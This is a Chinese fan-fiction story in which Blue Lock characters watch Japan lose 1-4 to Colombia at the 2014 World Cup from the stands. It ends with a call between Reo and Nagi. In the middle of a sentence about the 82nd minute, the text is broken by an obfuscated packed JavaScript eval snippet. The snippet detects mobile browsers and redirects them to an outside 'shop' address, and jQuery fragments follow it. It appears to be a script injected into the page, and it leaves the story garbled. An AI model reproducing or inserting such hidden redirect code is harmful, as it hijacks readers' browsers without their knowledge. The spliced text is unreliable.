巴西，库亚巴的潘塔纳尔体育场，海风煮沸了躁动不安的看台。尽管从为足球而着迷的那一刻起，世界杯就是每一个孩子心中的梦想，但当四年一届的比赛如期而至，御影玲王和他的朋友们却整齐地坐在板凳上——噢，请不要误会，并不是日本队替补席的板凳，而是观众席上。


    他们中唯一进入大名单的是奥利弗·爱空，尽管作为替补的他显然不会有什么上场的机会。一个根正苗红的自己人，派系斗争中的活靶子，更何况他那混血儿的健壮体格和相对成熟的年龄，让他成为了森保一麾下值得携带的选项。所有人都心知肚明，除非奇迹或垃圾时间，他很难获得上场机会。


    “喂喂，别把后槽牙咬得那么响。”玲王用膝盖轻轻撞了撞身旁身体绷得像弓弦一样的洁世一，声音透过周遭哥伦比亚球迷提前开始的鼓噪传来，“风还没吹到我们这儿呢，船自然开不起来，急也没用。没记错的话某人刚过完十九岁生日没多久吧？究竟在急什么。”


    洁世一长长地叹息：“你知道我有多期待的。我不想等到自己二十三岁才能站上这个最渴望，最渴望的赛场……”


    “难道我们就不想吗？” 前排的闪堂秋人抱着手臂头也不回地冷哼道，但他的视线同样胶着在场内，尤其追随着几位他从小在J联赛就仰望，如今身披国家队战袍迎来世界杯首秀的前辈。


    与蓝色监狱出身的那群半路出家，理念更颠覆的同伴们不同，走过相对正统青训路径的闪堂对场上这些前辈抱有更复杂的情感，那根植于传统的关切与认同。


    千切豹马从后排探过身，发梢几乎扫到玲王的帽檐：“说真的，今天就我们几个来现场？这场可是生死战。” 显然，他指的是日本队小组出线的渺茫希望。


    玲王闻言，从鼻子里轻哼出一点笑：“上轮对希腊，凛和士道倒是赏光来了现场——别误会，他们是各自来的，没约。森保一愣是让冴在板凳上吹了六十分钟风扇才放上去，可惜其他人好像没什么进攻欲望，踢得那叫一个……那兄弟俩平时怎么说的来着？”


    “温吞。”洁世一贴心地补充，“最终比分0-0，双方互交白卷。”


    “或许一开始就该上他的。糸师冴在俱乐部脚感火热啊，怎么在国家队混不上首发。”闪堂耸耸肩，目光扫过正在中圈附近做着拉伸的糸师冴，“可惜森保一不是绘心甚八，这么继续保守蹲坑下去，碰上真正的强队会被打成筛子的。” 他的担忧不无道理。


    “Shiiiiiiiii ——” 千切突然竖起食指抵在唇边示意他们压低声音，“开始了，专心点伙计们。保不齐哪个角落的镜头正对着我们这儿呢，被拍到交头接耳像什么样子。”


    哥伦比亚人开场便展现出南美足球特有的韵律感，皮球在他们脚下如同有了生命。J罗尚未登场，但夸德拉多和马丁内斯已经编织起危险的进攻网。


    “看左路，完全被压制了。”玲王压低声音，手指在膝盖上轻点，“长友回不来，酒井那边空间太大了。”


    洁世一眼睛眨也不眨：“他们在等什么？哥伦比亚人还没尽全力，但我们的防线已经……”


    话音未落。


    第17分钟，今野泰幸在禁区内一次鲁莽的放铲，哥伦比亚前锋半真半演地应声倒地。潘塔纳尔体育场瞬间沸腾，黄蓝色的海洋掀起巨浪。点球。


    “该死！”闪堂秋人一拳砸在自己大腿上。看台上几个年轻人同时僵住了身体。千切豹马的红发在风中微微颤动，他咬着下唇没说话。


    夸德拉多冷静罚进。1-0。


    “这就是世界杯。”玲王的声音几乎被哥伦比亚球迷的歌声淹没，“一点点失误就会死。”


    洁世一盯着场内的糸师冴，他正双手叉腰站在中圈，脸色阴沉得可怕。接下来的半小时成了半场攻防演练。日本队控球率跌至三成，偶尔的反击刚过半场便如石沉大海。


    “冴拿不到球。”千切忽然说，“他们根本不通过中场。”


    “因为不敢。”玲王冷笑，“森保一的战术板上安全球比创造力重要一百倍。”


    洁世一忽然开口：“但如果是我……”


    “你会回撤到后腰位置去要球，哪怕跑断腿也要把进攻组织起来。”玲王接过话头，“但冴不会，他说过的，不该由自己来适应错误的体系。我猜他正在心里大骂森保一，因为我也是。”


    上半场补时，一次罕见的反击。长友佑都左路起球，皮球划过一道弧线飞向禁区。冈崎慎司从两名哥伦比亚后卫之间跃起，头槌破网。


    1-1！


    “进了——！”闪堂秋人第一个跳起来，差点撞到前排观众。


    几个年轻人同时起身，洁世一甚至挥了一下拳头。但欢呼很快冷却下来，因为他们看见进球后的冈崎慎司连庆祝都没有，转头冲进球网捡起皮球跑向中圈。


    “还差得远呢。”千切喃喃道。


    中场休息时，看台上的气氛凝重。毕竟哥伦比亚已提前出线，日本队只有这场获胜才有可能晋级，且需看另一场科特迪瓦与希腊的比赛结果。


    “那边怎么样了？”洁问。


    玲王看了眼手机：“希腊1-0领先科特迪瓦。就算我们赢，也得指望那边……”


    “先赢再说吧。”闪堂打断他，“可你看更衣室通道那边，森保一的表情像是已经满足了平局。混蛋。”


    “那可糟了。”洁世一苦笑。


    “不敢看就把眼睛闭上。”千切随手弹了一把他头上的草叶。


    下半场开始仅仅十分钟，哥伦比亚便再次领先。马丁内斯在禁区内的推射干净利落，2-1。


    “好极了，现在防守站位完全乱了。”洁世一抓抓头发，“吉田前辈在拖后，今野前辈上抢，中间那片空当大到我能开卡车轧过去。”


    玲王忽然乐了：“知道最讽刺的是什么吗？我们现在最需要的是一个像士道那样能撕开一切的前锋，或者一个像蚁生那样自私的后卫——可他们现在都坐在家里看直播呢。因为太年轻，因为所谓不稳定。”


    “或者一个像你一样能看到所有传球路线的大脑。”千切瞥了玲王一眼。


    “噢，你怎么敢当着洁的面这么赞美我，他会不高兴的。他对自己那一点始终相当自豪呢。”


    “我能听见你们说话，朋友们。”洁世一转头。


    他们沉默下来。场上的日本队开始慌乱，传球失误增多，哥伦比亚的进攻如潮水般一波接一波。第82分钟，J罗替补登场仅仅五分钟，直塞穿透整


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036507|191326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    条防线。马丁内斯单刀梅开二度，场上比分3-1。


    “结束了。”闪堂秋人向后靠去，闭上眼睛。


    世界杯的剧本总有意外。第85分钟，哥伦比亚门将奥斯皮纳被换下，43岁的传奇门将蒙特拉贡踏上草皮。潘塔纳尔体育场全体起立，掌声雷动——献给世界杯历史上最年长的出场者。


    “真好啊。”千切喃喃自语，“能在这样的舞台上，以这样的方式被记住。”玲王没有接话，他看见洁世一的眼睛死死盯着蒙特拉贡，那眼神里有什么灼热的东西在燃烧。


    第90分钟。J罗在禁区内轻巧地扣球，吉田麻也狼狈倒地。哥伦比亚新星左脚轻挑，皮球划出优雅的弧线坠入网窝。


    4-1，终场哨响。哥伦比亚人狂欢，黄蓝色的旗帜在看台上翻涌成海。日本球员则瘫倒在草皮上，有人掩面，有人仰天呆望。


    镜头扫过看台，洁世一他们陷入长久的沉默，几张年轻的面孔在人群中被定格。“走吧。”玲王第一个站起来，“再待下去也没什么可看的了，今晚属于哥伦比亚人。”


    “四年。”洁世一忽然说，声音在喧嚣中异常坚定，“还有四年。”


    闪堂苦笑：“四年后我们在哪里？板凳？看台？”


    “场上。”千切接过话，火红的头发在灯光下如火焰，“我会在场上。”


    他们走出体育场，巴西的热浪再次拥抱而来，潘塔纳尔湿地的风带来泥土与河水的呼吸。洁世一回头最后看了一眼球场，灯光渐次熄灭，但那个比分牌的模样已刻进他的眼底：日本1-4哥伦比亚。


    “我不接受。”他像是对自己发誓，“这样的结果，我绝对不接受。”


    玲王的背影在垂头丧气的散场人群中显得异常挺拔，大概又是他刻意为之的姿态，他需要保持成熟与专业，像某些人所期望的那样。手机在口袋里震动起来，他掏出来，屏幕上跳动着Nagi的名字。


    接通电话，现场的噪声几乎吞没听筒里的声音。玲王不得不侧过头，用肩膀夹住手机，空出一只手堵住靠近声源那边的耳朵。


    “喂——？听不清，大声点。”


    “……玲王，比赛结束了。”


    “刚散场。”玲王一边说着，一边用目光示意身后的洁他们稍等，自己则往人稍少的墙边靠了靠，“你在看直播？”


    “嗯。”电话那头顿了顿，背景音是电视解说员赛后分析的模糊声音，“1比4啊。”


    “嗯。”


    凪沉默了一小会儿：“如果我和玲王也在就好了。”


    玲王忽然笑了：“嘿，你相信吗？刚才我就知道你一定会打过来。”


    “诶？为什么？”


    “因为在刚刚那九十分钟里，我无时无刻不在想象——如果在场上奔跑的十一人里有你有我，那该多好啊，凪。”


    身后的体育场灯光渐次熄灭，将梦想全部还给年轻人和孩子，将潘塔纳尔的夜晚彻底还给繁星与湿地。失败者的落寞和旁观者的不甘都被抛在身后渐暗的阴影里。


    前方，巴西的夜色辽阔无垠，通往机场的路灯连成一条蜿蜒的光河。


    这一年世界杯的夏天对日本足球来说已经结束了。但对这群年轻人而言，一切才刚刚开始。